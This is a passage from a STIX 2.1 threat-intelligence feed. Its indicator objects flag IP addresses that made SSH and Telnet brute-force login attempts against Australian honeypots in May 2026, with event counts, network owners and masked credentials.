      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 23106. Organisation(s): AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT.",
      "id": "indicator--c20b9203-1bd0-4c03-bdf8-a95cd4a8155c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.248.207.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 37133. Organisation(s): airtel-tz-as.",
      "id": "indicator--7c561777-efc1-4843-b147-b795014253c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.186.8.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--0e9da453-34c3-4b0a-9c37-65ae34cab065",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.34.138.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T04:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 17552. Organisation(s): True Online.",
      "id": "indicator--db7ca923-0363-4882-b133-e3c277bb8a27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T04:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.11.156.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T04:15:06.000Z",
      "valid_until": "2026-06-18T04:15:03.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 197769. Organisation(s): VPS Dedicated LLC. Usernames observed (masked): r**t. Passwords observed (masked): p******d.",
      "id": "indicator--4d20a6f6-992d-44e5-ac5a-71ae5b8eb4f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.220.160.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****c, 1**4, 2******9, 3***********4, 3**********4.",
      "id": "indicator--6ab1156e-5068-46d1-b2ba-5aca6334f560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.167.89.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ce372b6c-cf03-4b5e-b408-5c3a3f9dfd70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**7, 2******9, 2******C.",
      "id": "indicator--bda39bab-5dc2-44aa-824c-46fff61ec318",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.117.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA. Usernames observed (masked): r**t. Passwords observed (masked): p*******1.",
      "id": "indicator--7b7e2e40-2c77-40c7-b471-a7e6ae291377",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.115.208.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 10620. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**7, 2******9, 2******C.",
      "id": "indicator--907c4c6b-7a5c-42fb-a132-dc8b9e498dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.147.162.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1*******************j, 2**3.",
      "id": "indicator--bded6d28-117f-4f60-9741-0ba43579d08a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.147.19.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--b0fb8ad4-95f9-45b4-a53b-a710c80a4e71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.191.50.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6bc98b9d-fe97-468d-9243-054f21e9f539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1*******************j, 2**3.",
      "id": "indicator--3b2809de-a940-4778-88b7-e66c758e050e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.128.72.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****1, 1******v, 2******9.",
      "id": "indicator--43cca19f-8f78-4af4-af86-ba1526013340",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.130.2.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******9, 2**1.",
      "id": "indicator--ba4d0ac4-2670-45b5-8218-5c3bc65b6607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.28.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**7, 2******9, 2******C.",
      "id": "indicator--3ba6c98e-ba07-4157-be08-54a738a9d1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.76.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******9, 2**1.",
      "id": "indicator--d323708b-c9a2-473a-b19a-16d9d6de544c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.16.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 342. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**7, 2******9, 2******C.",
      "id": "indicator--6bb90ff8-f9f1-4033-80ee-333eb7512766",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.51.232.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 54643. Organisation(s): Idigital Internet Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******e, 1*******************j, 2**3.",
      "id": "indicator--3b9b9bf5-5c32-4bfc-9a5b-85484ae27311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.85.30.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T05:15:11.000Z",
      "valid_until": "2026-06-18T05:15:08.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 58485. Organisation(s): WIFIAN.",
      "id": "indicator--9898e5fa-c88a-474d-b038-1404c9900425",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.247.22.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--48ec6444-28bd-4445-a03b-921410039029",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.86.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--870497b9-a278-4eef-8d6c-49e4b6b3cb97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.38.2.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): z***a.",
      "id": "indicator--a481d4c2-db9f-4b2e-ab74-db9a5b7025c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.54.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--1cce2a54-9b5b-4d25-8a45-adabf00e0ad0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.226.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--b8fb7044-c657-4d7e-a1bd-985226219013",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.208.177.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 52020. Organisation(s): Rudzkie Sieci Komputerowe Sp. z o.o..",
      "id": "indicator--5fd4e0ae-7e63-4f4c-ac6f-2fe3ba8da40d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.108.227.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a8ae60ab-28da-4108-9024-b25dfb897059",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.154.244.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T06:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--c100653d-c894-47bd-9382-1b4558ad3d69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T06:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.15.104.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T06:15:05.000Z",
      "valid_until": "2026-06-18T06:15:03.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--f235ad90-f45b-459f-b6ef-794538dd1297",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.145.107.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, a***n, a*****s, g**o. Passwords observed (masked): 3***********4, 3**********4, 0**********!, ***, 1****6.",
      "id": "indicator--46371cd0-1adf-4fb8-b9d7-db8c6479d85b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.191.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 42532. Organisation(s): SIA VEESP.",
      "id": "indicator--b0aed3d7-9510-44a5-9db6-83e0236fe0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.145.245.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL.",
      "id": "indicator--a6a07ac4-e504-46f9-a91c-c44044e18ad6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--44ba7215-08ec-4417-96c1-53eb08a7ff72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.114.27.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T07:15:10.000Z",
      "valid_until": "2026-06-18T07:15:09.000Z"
    },
    {
      "created": "2026-05-17T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--f551345c-9fec-4187-a94c-270fbf0f7e02",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T07:15:10.000Z",
